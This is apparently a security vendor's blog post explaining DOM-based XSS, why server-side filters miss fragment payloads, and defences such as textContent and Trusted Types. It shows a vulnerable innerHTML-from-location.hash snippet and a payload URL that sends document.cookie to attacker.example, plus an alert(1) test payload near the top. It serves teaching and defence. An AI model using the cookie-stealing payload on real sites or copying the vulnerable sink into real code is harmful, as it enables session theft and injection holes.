DOM-Based XSS: When the Vulnerability Never Touches the Server
DOM-based XSS lives entirely in client-side JavaScript: an attacker-controlled source flows into a dangerous sink with no server round-trip. Here is why WAFs miss it, and how safe sinks and Trusted Types stop it.
#<img src=x onerror=alert(1)>On this page
DOM-based cross-site scripting is the variant where the server is innocent. The vulnerable code is JavaScript that already shipped to the browser, and the bug is that this script reads attacker-controllable input and writes it into a dangerous DOM sink. Reflected and stored XSS both pass through a server response; DOM-based XSS can happen with a response the server never customised — the tainted data and its execution both occur inside the page.
This post focuses on the source-to-sink flow that defines DOM XSS, why server-side filtering cannot see it, and how to break the flow on the client.
How it happens
DOM XSS needs a source (a value an attacker can influence) flowing into a sink (an API that turns a string into markup or code) without encoding in between. A common pattern is a page that renders part of the URL:
const name = new URLSearchParams(location.search).get('name'); document.getElementById('greeting').innerHTML = 'Hi ' + name;
The dangerous sources are the ones an attacker can set: location.hash, location.search, location.href, document.referrer, window.name, and messages received via postMessage. The dangerous sinks are the ones that parse strings as HTML or code: innerHTML, outerHTML, document.write, insertAdjacentHTML, eval, and assignments to location.
A concrete attack
The most distinctive DOM XSS payload hides in the URL fragment — everything after the #. Browsers never send the fragment to the server, so consider a sink fed from location.hash:
document.getElementById('out').innerHTML = decodeURIComponent(location.hash.slice(1));
An attacker crafts a link where the fragment carries markup. An <img> with a broken src runs its onerror handler, sidestepping the fact that injected <script> tags added via innerHTML do not execute:
https://app.example/profile#<img src=x onerror=fetch('https://attacker.example/c?'+document.cookie)>
The browser requests https://app.example/profile — the part after the # is stripped before the request leaves. The page loads, the script reads location.hash, writes it into innerHTML, and the onerror handler fires in the victim's session.
Because the payload lives in the fragment, the server logs only a request for
/profile. There is no tainted parameter in the access log, nothing for a server-side filter or a WAF to match — the attack is invisible to every defence that inspects the request.
What an attacker gains
The capabilities are identical to other XSS — cookie theft, DOM reading, forged requests, page rewriting — but the detection gap is what makes DOM XSS dangerous in practice:
- WAFs and input filters miss it. They inspect the request; a fragment-borne payload never reaches them.
- Server-side tests miss it. A scanner that only diffs HTTP responses sees a clean body, because the injection happens after rendering.
- It thrives in SPAs. Single-page apps route on the fragment and re-render constantly from client state, multiplying the number of source-to-sink paths.
The result is a vulnerability that can pass a clean server-side audit and still hand an attacker the same session-level control as any other XSS.
The fix: safe sinks and Trusted Types
The reliable defence is to never let an untrusted source reach an HTML-parsing sink. Prefer APIs that treat input strictly as text:
const name = new URLSearchParams(location.search).get('name'); document.getElementById('greeting').textContent = 'Hi ' + name;
textContent writes a string as text — the browser never parses it as markup. Build on that with these rules:
- Replace
innerHTML/outerHTML/document.writewithtextContent,setAttribute, or DOM node creation. Never feed untrusted data toeval,Function, orsetTimeout(string). - Let your framework's auto-escaping do the rendering (React's
{value}, Angular interpolation) and avoid escape hatches likedangerouslySetInnerHTMLandbypassSecurityTrustHtmlon untrusted data. - Enforce Trusted Types via
Content-Security-Policy: require-trusted-types-for 'script', which makes the browser reject plain strings at dangerous sinks unless they pass through a vetted policy. - If you must render rich HTML on the client, sanitize it first with an allowlist library such as DOMPurify.
How SelfSec finds it
SelfSec's crawler renders modern, JavaScript-heavy applications with a real browser engine and follows attacker-controllable sources — including the URL fragment — into client-side sinks, then confirms the payload actually executes rather than guessing from a string match. Because the bug never appears in the server response, this browser-level execution check is the only reliable way to catch it, and every finding ships with a reproduction request you can replay. As always, the scan runs entirely on your machine and your scan data stays local.
SelfSec is intended strictly for authorized security testing of systems you own or are explicitly permitted to assess.
Do both things about Cross-Site Scripting
SelfSec covers this class from both sides — the scanner confirms it in your own app, the firewall blocks it in front of your origin while the fix ships.